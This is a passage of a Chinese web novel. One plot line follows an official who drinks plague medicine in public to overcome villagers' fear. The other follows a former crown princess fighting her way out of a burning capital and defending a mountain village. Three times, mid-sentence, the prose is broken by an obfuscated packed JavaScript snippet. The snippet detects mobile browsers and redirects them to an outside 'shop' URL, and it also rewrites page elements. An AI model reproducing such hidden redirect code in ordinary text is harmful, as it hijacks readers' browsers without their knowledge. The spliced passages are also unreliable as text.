好在城中士卒也需要喝药预防,虽不至于让药汤全部浪费,但到底还是有着近大半的浪费。 上面的虞煜暗自心焦,虽想出了几个破局之法,但都要他自己亲自前去实施,为了他的安危考虑,群臣这次完全站在了他的对立面,对他的所有提议都否定得不带一丝迟疑。 而下面负责派送的官员也很心急,担心自己手里的任务总完不成而被上官斥责,也担心瘟祸再蔓延下去会有更多的人死去。 这些负责派送药物的官员都不是虞煜手下的属臣,而是计枢手下的官员。 在他被虞煜任命为郡守之后,就马不停蹄带着他同样新上任的郡丞乔嘉麟,重新规划分配了郡中的官职,除去留用瘟疫爆发后选择留下的官员外,还在得到虞煜的许可后,从民间搜集了几位略通文墨黔首委以职务,凑齐了一套勉强可以运行的郡府班子。 眼见药汤沸腾蒸发,也不见百姓出来领药,带队的官员难免心疼,尤其是一位深入在病患居住区的官吏。 他是此前逃亡郡守的长史宋景民,也是瘟疫爆发后选择留在郡中的职位最高者,所以在郡守等人出逃后,最初郡中的所有事务都是他一力在安排。 可惜随着郡守等人的逃离,不再相信官府的百姓并不听从他的调度,整个郡中陷入一片混乱,在韩破山和计枢等山匪入城后,也是他当机立断主动前往交涉,才有了后来官匪共治的局面,稳住了郡中惶惶不可终日的民心。 自瘟疫爆发以来,他已经见过太多的死亡,就连他的父母妻儿,也未能在这一场祸事中避免。 他当时没有随着郡守等人离去,很大一部分原因也是他的亲眷全部都死于这场祸事,但除此之外还有他自己的为官抱负,他也想试试,到底凭借着微薄的人力,是否能够扭住天意。 所以在计枢带来太子亲至治瘟,并带来了根治之法时,他的心情是复杂的,一方面为百姓迎来曙光而激动,另一方面又想到了自己死于瘟疫之初的亲眷,若是他们再坚持一段时日,又或太子能早到些许时日,是不是就有能够活着的可能。 但也明白这终究是自己的妄念,人死不能复生,但活着的人,总要向前走的。 宋景民可以说是留守官员中最接近决策层的人,虽然他并不了解药草的实用效果,但却知道眼前的这些药汤融入了多少人的心血,不忍心看着它们就这样白白蒸腾掉。 看着迟迟不出来领药的病患,他自然知道他们在忧惧什么,无非担心这釜中所置之物不是用来救命而是前来索命的。 想着自己的父母妻儿至死都没有等到活命之法,就摆在这些人眼前,而他们却因惧怕而要将其白白浪费,宋景民觉得无奈的同时,心中升腾起一阵狠意。 他一把扯下系在脸上的布巾,夺过釜前士卒手中的长柄铜勺,舀起一勺汤药就倒进自己的嘴中,将其一口饮尽之后,将空了的勺子举起来给正在窥探的百姓看。 “我乃郡中长史宋景民,知众位忧虑为何,愿为大家先行尝试,众位可先看我是否有事再行决定是否服药,只是不要辜负了太子殿下为治瘟祸而夙兴夜寐的苦心。” “快看,大官喝了那个黑汤子!” “他都喝了,那应该没什么问题吧?” 果然,随着他的这番动作,四下的民居中传来了窃窃私语之声。 眼见有戏,宋景民举着长勺再接再厉的放声说道。 “这汤药是太子殿下带来的,而今殿下本人也已身入城中,誓与万民共渡瘟祸,足以证明此药必有奇效,不然以太子殿下的万金之躯,怎么轻易涉足我们着重疫之地。” 这话说得旁边的士卒都看了他一眼,明明是他们殿下在得知瘟疫之后,心系万民才安排巫医研制了这一味汤药,怎么在这人口中好像没有这药他们殿下就来了一样。 这种说辞让他们这些太子的铁杆精兵有些难以言说的感觉,略微不爽。 然而宋景民并不理会这些士卒异样的眼神,而是注意着百姓们的变化,他自然知道太子视民如子的理念,但为官多年的他更了解百姓的心理。 你要是直接和他们将太子殿下爱民如子给你们带来了救命的汤药,那百姓可不一定会相信。 但如果你说太子殿下因为这个汤药的存在敢于踏足病地,那么百姓就不会这么抗拒,虽然他们依旧会怀疑太子手中留有比这个要好的东西,但起码相信了这个汤药多少是有一点效果的。 “太子殿下亲自来了吗?” “我听说殿下是一个很好的人。” “太子都敢进来我们这座疫城,说明这药应该有些作用吧?” “那个大官刚刚喝了一勺,我看他没有什么不好的事情发生,要不我们也出去试试?” …… 诸如此类的谈话开始在病患所居的区域内传递,越来越多的人开始动摇,想要出来端上一碗汤药试试效果。 眼见即将破开百姓的心房,宋景民也有略微有些激动,满安排士卒准备为百姓分舀药汤。 “你们别信他,我知道他们家除了他之外全部死绝了,他就是朝廷故意抛出来引诱我们赴死的傀儡,不信你们喝下这碗汤,就等着和他一起死吧。” 就在陆续有开门声传来之时,不知是在哪一间屋子中,高声传来了这一番言语。 紧接着,宋景民和士卒们亲眼看着本来已经打开门缝的大门又全部关了回去,愤怒之下一时面面相觑,士卒们也是这时才知道这位大人家中的情况,对他方才诽谤太子的不满散去了一点。 “别让兵爷知道是谁在刻意捣乱,不然非让他知道马王爷有几只眼。” 士卒们气急,暗自念叨着,宋景民从他的言语中知道了跟着他的这支小队,应该是出自裴安翊的部下,他前段时间协助那位将军处理城中偶有的骚动之时,常听他把这句话挂在嘴边,也知道士卒们是因为那人提及到自己家人的不幸消息而为自己不平。 拱手谢过他们后,他也对着声音传来的地方回应道。 “你说的不错,我的家眷是全都死于了这场瘟祸,所以我不想这古渡郡中,再有人承受这样的锥心之痛。” 宋景民的语调虽高,却很平静,只有细听之下才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026367|134765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能感受到其中略微带着的颤抖,可也正是这样的平静,方能直抵人心。 “我不管了,我家小囡已经快不行了,死活不过都是命罢了!” 这时离他们最近的屋子中突然传来一声凄怆的悲鸣,屋子的大门豁然打开,一位病容满面发鬓散乱的妇人抱着一个小女孩从里面冲出,手里还拿着一个汤碗,直奔着煮药的铜釜而来。 一旁的士卒眼疾手快的抢过还被宋景民捏在手中的布巾,飞快的帮他系在脸上。 而立在铜釜前准备分发汤药的士卒眼见妇人到了身前,也很迅速的将她手中的碗舀满汤药,嘱咐她喝了之后再来取一碗给孩子。 妇人麻木的接过碗,似乎也觉察不到汤药的烫意,抱着孩子席地坐在了不远处。 宋景民担心她浑浑噩噩的会将还有些许烫意的汤药喂给孩子,正打算提醒她时,就见她对着汤碗小口吹气,也放下了悬着的心。 想了想,让士卒递给他一个备用的汤碗,亲盛了一碗汤药端正妇人身前放下。 也不在乎她们身染瘟疫,查看了一下她怀中孩子的情况。 只见那小女孩不过两三岁的样子,面色惨白喘息艰难,确实是病得严重了。 他想起自己幼子当时,大概也是这样的情况,而后匆匆不过三四日,就没了气息。 “你的囡囡会活下去的,太子殿下会给予万民庇佑。” 他低声安慰了妇人一句,像是下定了某种决心,起身走回之前所在的位置,然后拿起铜勺重重敲击了一下釜身。 铜釜因敲击发出沉闷的巨响,吸引了这片区域所有人的注意,就连在他隔壁派发药汤同样束手无策的官员,也听到了这个动静,抬首张望查看。 “太子座下的太医令能力出众,这副能驱除瘟疫的汤药就是他所研制,我愿为诸位向太子殿下求来这人亲临疫居为重病者诊治,若不得允,敢以尸谏再求!” 一语落下,整个区域为之一静,紧接着是滔天的哗然。 民众听到宋景民的尸谏之语,觉得或许可以尝试着在相信官府一次,反正他们这些人的结果到最后也和刚刚那个妇人所讲的一样,死活不过都是命,既然如此,何不再博上一把,或许真有生路也未可知。 而此前抱着孩子席地而坐的妇人,眼中悄然滑落了一滴眼泪,溅在地上的尘土之中。 无数的民居纷纷打开,人们夺门而出涌向了铜釜所在之地,士卒们赶忙维持秩序,让大家依次排队领药,同时也有些担心的看了宋景民一眼。 士卒大多来自民间,非大族出身的他们自然是尊敬宋景民这种敢于为民请命的好官,但是尸谏之语,着实是太过头了。 他们想用不了多时,太子殿下应该也会知道这话的,到时候,这位宋大人该如何自处。 然而令他们没有想到的是,分药之余,宋景民竟然安排了一个士卒前往向守在疫居门口的传令兵报信,让他把自己今日所做之事毫厘不差的上报虞煜。 因为他们深入疫居派药,为防止出现太子殿下所说传染情况,他们这这些人都暂住在疫居前面特意腾出的空房子中,直至瘟疫结束前都不得随意出入未患病百姓生活的区域,自然也不能进入郡守府,所有特意安排了传令兵以便互通消息。 前往送信的士卒远远将话递给传令兵,哪怕隔着面巾看不到对方的神色,但也从其的眼中感觉到了难以置信。 两人无言的遥相对望了一下,传令兵翻身上马向着郡守府疾驰而去。 30. 第 30 章 正在议事厅中商讨怎么破除百姓抵抗情绪的虞煜收到由传令兵带来的消息后,久久沉默无语。 而群臣们也默默的坐在两侧,并没有人因宋景民的尸谏之语而跳起来大骂其大逆不道。 虞煜不由得有些欣慰,他的超雄文臣,终于是成长了,连尸谏这种话都可以思考着忍让了。 他不知道的是,群臣虽然面上不显,但心中还是在大骂宋景民刚愎,哪怕是为了破开百姓对朝廷的抵抗情绪,也不能轻易就说出尸谏这种极端的话来。 尤其是傅泓,他身负太子的教导之职,若真有臣子做出尸谏太子之事,且不说太子如何自处,就是他自己又该怎么样的谢罪天下。 但偏偏这宋景民凭借着一厢义气,打破了桎梏他们许久的百姓抵抗情绪。 此时这人正是万民眼中的好父母,太子眼中的香饽饽,他不能在这个时候对其说出怪罪的话。 计枢对于宋景民的做法也有些唏嘘,他实在没想到其会做出这么刚烈的决定。 但又想起他们入城当夜,也正是这个身着重孝的人,单枪匹马的来找自己谈判,就又能理解不愧是他能做出的决定。 观其所作所为,计枢也不得不承认,宋景民的才能或许不够出众,但他却是万民所期盼出现的为官者。 看着跪在前方有些胆怯的传令兵,虞煜示意他先行退下,等候旨意。 随即看着下首沉默不已的群臣,用手轻叩了叩桌案,询问道。 “众卿对宋景民此法意下如何呀?” 群臣彼此对望了一眼,知道太子不过是走个过场的询问,毕竟他自己都提过要深入疫居为百姓亲尝汤药的提议,只不过被他们否决了而已。 此时蹦出了一个与他不谋而合的宋景民,可不正等着他们点头同意执行这种办法嘛。 但太子不能去,让官员亲尝却不失为一个好办法,反正预防的药物他们每天也要喝,那不如就去工作场所喝,也算是一举两得。 至于巫蕤,要不是制药的工作实在太过繁忙,只怕早就自己跑到疫居去研究瘟疫了,哪里还等需要宋景民以尸谏来请。 正好乌金族人最近大好了几个,都已赶来协助制药工作。 巫蕤药方的配比都写得十分清楚,那么正好可以遂了他的愿,让他去深入疫居去研究诊治,也能进一步推快瘟疫的治疗进度。 乌家族人的快速恢复,极大增强了群臣彻底根治瘟疫的决心,于是,欣然同意了宋景民的做法。 “谨遵太子吩咐。” 虞煜感叹,真的是好久都没有听到过这句话了。 感慨过后,即刻让传令官将此指令传到各个派药小队,同时重点告知宋景民,巫蕤不时便到,会在整个疫居范围内为重症诊治,莫要再生出其他极端想法。 结果出乎意料的顺利,在看到官员亲尝汤药之后,百姓的戒心逐渐放下,又听到会有殿下座下的神医来为他们诊治,他们虽不知道什么是医,但既然和神扯上了关系,就说明了很不一般。 所有人都开始排队领取汤药了,就连混在其中想要引导舆论捣乱的人,暂时也不敢轻举妄动了。 一时之间整个古渡郡进入了需要大量投入药材的阶段,还好他们此前搜集的药材较多,再加上乌金家中的鼎力支持,倒也勉强能够维系全城包括士卒在内的六万人的短期药物供给。 因为乌金家中除了往日的诸多存药之外,竟然还按四时规律开展了小规模的药品培育种植,得知这一点的虞煜十分惊讶,不由产生了一种到底谁才是穿越者的质疑。 要不是害怕掉马,他都很想问乌金一句他的祖辈是不是穿越来的,怎么会这么有前瞻性,在医药未立的时代就率先开启了药材种殖业。 然而虽然目前药材不算紧缺,但为了做好长期防治的准备,虞煜还是派出了晏俭臣带领队伍前往更远处的山林中继续采集药材。 因为前些日子的大规模采集工作,导致军中的士卒都对需要的药材特征了然于心,并不再需要巫蕤或是乌金的随军教学,反而不时会顺带着采回一些让乌金惊喜连连,虞煜觉得眼熟中又透着陌生植株。 古渡郡的治瘟工作,总算进入了平稳推进的阶段,随着时间的推移,笼罩在其上近六十日的阴霾,正在逐渐散去。 虞煜看着目前的进度推算了一下,应该再过月余,整个郡中的情形就能得到好转,那个时候,也正好可以赶上秋收,倒也不用糟蹋了遍野肆意生长的大豆和麦子。 虽然对在瘟疫中失去了亲眷的人而言,痛苦需要漫长的时间来治愈,但没有错失的秋收,起码能让大家过一个饱冬。 就在虞煜这边事项开始进入稳步推进的时候,在与锦州相隔千里的上京城外,同样有一个人在思考着自己的未来。 上京城外连绵起伏的群山之中,隐匿着一座小小的村庄,其中偶尔传来鸡鸣狗吠之声,让整个村子显得颇为生动。 顺着村庄的小路蜿蜒向上,不多时就可以来到一个名为小霞峰的地方,于此处,正好可以看到大雍皇城的所在地,上京。 姜泠正站在这里,远远眺望着那个曾经世间繁华至极的所在,此时不见了昔日里的盛景,本该随着夕阳西沉,逐渐点亮的万家灯火,也只剩下一团朦胧的漆黑。 时隔两个多月,她依然记得自己离开上京的那个夜晚,随着义军的攻入,所有的流光溢彩都在混乱的马蹄之中和大火的焚烧下化为乌有。 皇帝的首级被用旗杆高高挑起悬于在宫门之上,因死前的痛苦而导致极度扭曲的容颜,一时让她险些无法与记忆中那张酒色过度的阴郁面孔对不上号。 她在混乱的街道奔跑,身后的宫殿如同一片火海,这个本该桎梏她下半生的樊笼,就这样随意的被人付之一炬。 整个上京的街头巷尾,到处都是此起彼伏尖叫声和哀嚎声,人们惊慌失措的四散奔逃,随身物品散落一地,进而被铁蹄踏碎。 她亲眼看着这个未来或属于她那个名义上丈夫的帝国,在血与火的交融之下轰然倒塌。 也亲眼看着这些以义为名,实则与匪无异的畜生们,如同蝗虫过境般肆意掠夺。 直至,他们将手中的兵刃挥向平民,用双手扯破了少女的衣裳,她觉得自己不能再这样看下去了。 她虽然觉得这个腐朽黑暗的朝廷早该崩塌,却不能眼睁睁看着平民被人虐死身前。 急速上涨的愤怒夺走了她的理智,直至充满腥味的温热的液体将她整个侵透,她才回过神来,周遭的匪军都被她以手中的长□□透,横七竖八的倒了一地。 而那个免遭侵犯的少女正捂着破碎的领口,被两个看起来像是她家人的少年搀扶着,三人目光如出一辙的看着她,胆怯中带着敬佩。 远处的街道之中又传来匪军的喊杀之声,她提枪欲冲上去之时,却被少女的双手拉扯住。 “姐姐,这里已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047426|134765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经乱了,他们的人太多了,你打不了的,快和我们一起跑吧,我听他们说皇帝都死了……” 少女说到这里已经有些泣不成声,显然眼前的情景对她个人的冲击很大。 她开始后悔前些日子缠着两位侄儿带自己来城中玩耍,没想到前脚刚进城,后脚上京就被突然冒出来的义军围了,现在更是听说连皇帝都被这群人枭首了,下面还不知道会做出什么丧心病狂的事情。 她们家虽然已经不再做绿林中的生意,但在这一带还是很有些名声,但在义军围城之前对他们的行动都未曾听闻,这些人马仿佛像是凭空冒出来的。 “是啊,姑娘,我们一起冲杀出去,总比折在这里强,他们人太多,我们拼杀不了的。” 随着少女的话音落下,扶着他的两个少年也急忙开口。 当下匪军人数众多,就算武艺再强,也很难将他们完全击杀,反而一不小心就会像刚刚的他们那样深陷包围之中难以脱身,他们看姜泠武艺出众,又出手救了他们,顿时起了联手突围的心思。 听到二人的邀请,姜泠随意抹了一把脸上的鲜血,让自己的视线更清晰一些,果见他们一身短打装扮,虽然因为刚才的厮杀已经变得有些破烂,但依稀可以看出是武者喜着的衣物。 而且这两人年纪虽小,却体型健硕,一看就是自幼习武之人,也难怪带着这样的一个弱女子,敢在匪军破城之时突围。 眼见匪军越来越近,火光闪动间一个少年看清了当先者的面容,大惊失色下急忙催促姜泠快随他们一起离开,少女也拉着她就要往小巷子里藏身。 “姑娘,快和我们走,那个一马当先的人是王天霸,他在冉世茂麾下是一等一的猛将,我们可不是他的对手。” 姜泠知道冉世茂,他是此次攻入上京义军的首领。 一等一的猛将吗? 姜泠思忖着,问了少年一句。 “你怎么知道的,确定吗?” 听到她的询问,少年原本以为自己绿林的身份被她识破了,吓了一跳,但一看姜泠的目光完全放在了王天霸的身上,丝毫没有半点探询自己的意思。 眼见匪兵就要到眼前了,他又不能直说自己和他们同为绿林中人,只能含糊的说了句以前偶然见过的话,也不知眼前的女子相不相信,但又怕她不信的补了句。 “真的,今晚上京的烧杀劫掠,一看就是王天霸的手笔。” “你说这是他的手笔。” 少年猛烈的点头,绿林中有名的也就这几个人,大家对彼此的风格都一清二楚。 本以为姜泠得到他肯定的回答就会随他们赶紧离去,没想到随着他的肯定,他看到原本一脸平静的姜泠扯了扯嘴角,露出一个有些奇怪而坚定的神色。 “那就让这个畜生不如的王天霸,彻底变成大王八。” 然后他就眼睁睁的看着姜泠提枪冲进了向这边疾驰而来的匪军之中。 正犹豫着要不要上去帮忙一起送菜的时候,就看到冲进匪军阵营之中的姜泠撗枪扫过,一击斩断了匪军的将旗,二击他就看到王天霸身首分离,无头的躯体从马背跌落地上。 随着他的跌落,整片区域的动静都为之一静,只有匪兵手中的火把在噼啪作响。 姜泠一手执枪,一手提着王天霸首级,满面覆血的立在匪兵之前。 长风猎猎而过,吹起她的发丝衣袂,在冷月火光的映衬下,犹如罗刹降世。 31. 第 31 章 受到惊吓的匪兵一哄而散,顷刻间地上只余留着王天霸无头的尸首。 少年看着眼前的这幕,有些目瞪口呆,但也终于明白姜泠所说的最后一句话是什么意思了。 这没了头的王天霸趴在那里,可不就像一只把头缩回壳中的大王八吗? 就这么死了吗? 怎么都觉得难以置信,这可是在他们认知中一直赫赫有名威震一番的豪强,就这么轻易的死在了眼前。 这个女子的强大,远远超乎了他们的想象。 姜泠冷漠的看着四处逃生的匪兵,并没有前往追击的打算,听着皇城方向远远传来的厮杀声,有些嫌恶的将手中的头颅丢入身旁燃烧的烈火之中,举步向少女三人所在的地方走去。 看着姜泠满脸鲜血的向他们走来,少年们不知为何会心底一颤,极为默契的向前走了一步,将身后的少女完全挡住。 姜泠看到他们下意识的动作,似乎也意识到了什么,止住了自己向前的步伐。 但对他们的出乎自己意料的防备,并不反感,反而意外的想起一个再次见到会被她锤爆的人。 她记得小时候自己每次偷学武艺被父亲发现的时候,那个身影就一直挡在他的身前,就像这两个少年挡住女孩一样,从孩童到少年。 她的傻弟弟,姜泽。 一年多不见,是有点想念了呢。 但一想到混小子竟然敢偷背着她跟着那个扶不上墙的太子跑去了历州,手又有点痒了。 姜泠回头看向火光冲天的皇城,一时不知道自己此时是该庆幸还是忧心。 庆幸的是傻弟弟现在人在历州,没有直接面对这一场厮杀,不然以他的性格,很可能会拼杀致死以身殉国。 忧心的是那扶不上墙的太子会不会在得知消息之后,带着她的弟弟奔袭回来驰援,那就很有可能在半道上就把命送了。 不得不说,姜泠真相了。 “你们不是邀请我一起突围出去吗?不走吗?” 她看着眼前的警惕的少年们,本来不打算理会他们的,但在回忆滤镜加持之下,她还是决定拉他们一把。 “你们两个干什么!” 少年身后的女孩扒拉开他们走了出来,顺便一人给了一个爆栗。 步履轻快的走过来,毫不见外的拉起了姜泠的手,也不嫌弃她一身的血腥。 “姐姐你这么厉害,肯定能带着我们冲出去的,出去之后我请你去我们家做客吧。” 有点惊讶于少女情绪的恢复速度,但姜泠一向是不喜欢和人这样亲密接触的,不动声色的将自己的手抽了出来,同意了她的邀请,反正现在的她也无处可去,不如先随着心意且走且看。 “好啊,走吧。” 姜泠的回答让女孩欣喜万分,她本来只是尝试着问一问,没想到居然被答应了。 紧忙小跑着追上先行的姜泠,少年们对视一眼,看小姑姑已经跑过去了,咬了咬牙,也追了上去。 姜泠带着三人冲出了匪军的包围后,就随他们来到了这个位于上京城外群山之中的小村庄,并受到了极其热情的款待。 温照柔和她的家人都对她很友好,也从不试探她的来历,就仿佛她是一个再寻常不过的客人。 温照柔正是此前的少女,她大兄是这个村庄的村长温荣,而此前以她同行的两个少年,也是这位村长的儿子。 虽然一眼就看出了整个村庄的不寻常,但是姜泠还是在这里一待就是两个多月。 村口古树下闲聊家常的老人,屋前小溪旁浣衣斗嘴的农妇,还有四处跳跃嬉笑的孩童,这里的一切,都是过往的她从未接触过的意趣盎然。 如果不刻意去计较这里绝大多人在不经意显露出的下盘稳固,那么无疑就是她从书中看过的世外桃源。 难以想象,在与烽火连天的上京相隔不远的群山绵延之中,还有这样美好的所在。 姜泠看着远处毫无人气只剩兵气的上京,忍不住回眸看向背后的村庄,暮色之下,有袅袅的炊烟从茅屋之上升起,昏黄的灯火也正逐渐点亮,纸糊的窗户之上,隐约映衬出家人齐聚的身影,不由想起今天刚刚听到的消息。 太子抛弃大雍,逃亡去了锦州。 民间对此议论纷纷,就连她身处的这个小山村也讨论不断,毕竟百姓们大多都还抱着期待等待太子回援,这个消息一出,碎了多少人的期盼。 却让她一直高悬在半空的心,终于落了下来,甚至第一次生出了想要夸奖太子的念头。 蠢笨鲁直了那么多年,终于在生死关头做出了一次正确的选择,而没有强拉着她弟弟回来送死。 大雍一京十五州,从上京陷落,皇帝枭首后,各地护雍大旗不断高举,短短两个月,就已经烽火遍天下了,可以预见,太子如若回援,必死无疑。 她自离开上京后一直留在这里没有离开的原因,很大一部分都是在担心自己的一根筋的弟弟会陪着别人回来送死,若真到那个时候,她离得近些,说不定真的可以救下傻弟弟的一条命。 如今听说他们去了锦州,临走前还一把火把历州渡全烧了,总算是放下了悬着的心,这一烧,好歹可以安心个两三载了。 那么她也要想想,自己的以后将落在何处。 锦州虽然有她的弟弟在,但也有她倒了血霉才被赐婚的太子在,所以她决不会去那里的。 雍州…… 她的父亲在那里,稳稳的守住了大雍的北疆,可以去那里吗? 答案是不行的,那个老头子和他名字一样固执,因母亲于战场上早亡,担心自己唯一的女儿也步入后尘,一直期盼着她长成一个宜室宜家的温柔淑女,为此还不惜花下重金找了无数的大家来教她女子之道。 同时,不止一次的禁止她学习武艺,为此偷偷教她枪法的弟弟都不知道被吊起来打了多少次。 为了弟弟少受些责罚,她也只得暂时按捺着性子做起了父亲心中所期盼的淑女,没想到伪装的太成功,不幸被皇帝择选为儿媳,好在拜完堂还没来得及掀盖头,就听说自己名义上的夫君就因为得罪了皇帝而被一脚踢出上京了。 什么人,竟然可以在自己的大婚上惹恼老父亲给提逐出家门的待遇,对此她表示,真是棒极了。 但太子虽然滚了,她也是板上钉钉的太子妃,只能乖乖的待在那个狭小的太子宫,还好皇帝因为太子连带着也不待见她,寻常设宴都想不起她来,而婆婆早逝也不用晨昏定省,她在宫里的一年多来除了不自由,但还算自在。 要不然,在匪军烧宫的时候,她都怕自己忍不住上去添一把柴。 要是老头子知道她不仅一个人冲破上京的封锁逃了出来,还任皇帝的脑袋继续挂在宫门上风干,在庆幸她还活着的同时,只怕要当场也要气得昏过去吧。 倒也不是老头子不疼爱女儿,而是在他固有的观念里,忠义永远都是排在第一位,哪怕这个皇帝昏聩至极,哪怕这个皇帝丝毫看不上他的这点忠义,也全不在乎。 她个人对此嗤之以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057672|134765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼻,但她架不住弟弟在这方面和她背道而驰,走向了父亲的一方。 她就想不通了,都烂成这样子的朝廷,到底还有什么值得效忠的必要。 所以匪军一攻入皇城,她拔腿就走了,多一秒都不想耽搁。 那么现在问题来了,锦州不想去,雍州不能去,她到底该去哪里呢?总不能一辈子住在别人的家里。 姜泠陷入了沉思,不仅在思考自己未来的道路,也在思考该怎么和这里的主人辞别。 夜幕低垂,明月悬于群山之上,星光斑驳间,有微风吹过,除了山间特有的草木味外,还裹挟着一丝油脂的味道。 姜泠在这里思索了大半夜,也没想出个所以然来,正打算回去休息的时候,就闻到了这丝不同寻常的味道。 觉察出异样的她,迅速的向山峰之下的村庄飞奔而去,几个起落间,就到了离村庄不足百米的地方。 她已经看到了一群身着黑衣,手持火把竹筒的人正悄无声息的穿梭在村子的各个角落,将竹筒中装着的东西倾倒在易燃物上。 虽然看不清那到底是什么东西,但是空气中浮动的油脂味已经告诉了她答案。 虽一直都知道这个村庄不同寻常,这些人多半是为了寻仇而来,但好歹在这里住了两个多月,她不能眼看着这个地方被人付之一炬。 大概了解了这些人所处的位置之后,她疾驰而入,路过村口悬挂的铜钟之时,顺手从地上捡起一块石头,狠狠的飞掷在其上。 “咚!”的一声巨响,铜钟被石头猛烈撞击,发出深沉而雄浑的回音,一瞬间整个村子的人都被从梦中惊醒,紧接着就听到一个女子的声音高喊。 “敌袭!” 所有人瞬间睡意全无,来不及思考,抓取屋中离自己最近的武器,纷纷冲了出去。 被钟声吓到的不仅是村子里熟睡的人,还有那群趁着深夜前来鬼鬼祟祟干坏事的人。 听到动静后他们手上的动作迟疑了一下,然后又在一个看似是头领的指示下加快了倾倒的动作。 “不是吧,都被发现了还不跑,你们这些干坏事的也是在拿命敬业呀。” “什么人!” 耳边突然传来一个女子戏谑的声音,头领不及思索,抽出腰间的铜刀就向着声音传来的方向劈砍过去。 紧接着就感觉手腕一疼,像是被人扭住了一般,手中的刀瞬间脱手而且。 “做工粗糙,刀锋不利,勉强一用吧。” 月色照耀之下,头领才看清了眼前的人,竟是一个清丽绝尘的女子,穿了一身玄色的小窄袖,头发用同色的发带高高束起,显得整个人利落至极,若不是极美的容颜昭示了她的性别,这一身的装束很容易被人误当做男子。 此刻正拿着他的刀随意挥舞了一下,其脸上,是朦胧的月色也掩盖不住的嫌弃。 正是姜泠。 “你的刀法真的太差了,我向来心好,就教你一教吧。” 说着,姜泠就提刀向着头领劈砍而去,哪怕其间还间隔着近十米的距离,他也能感受到从自己刀身上透出的锐意和锋芒,这是在他手中从来没出现的。 然后只见眼前黑影闪过,头颈处传来剧痛之后,就人事不知了。 姜泽看着被自己用刀背一击昏迷的头领,有些嫌弃的“啧”了一声,又转身去对付其他一看就是小喽啰的人。 等村里的人手拿武器冲杀而来的时候,就看到了被放倒一地的黑衣人和面无表情正捡着火把往水里扔的姜泠。 32. 第 32 章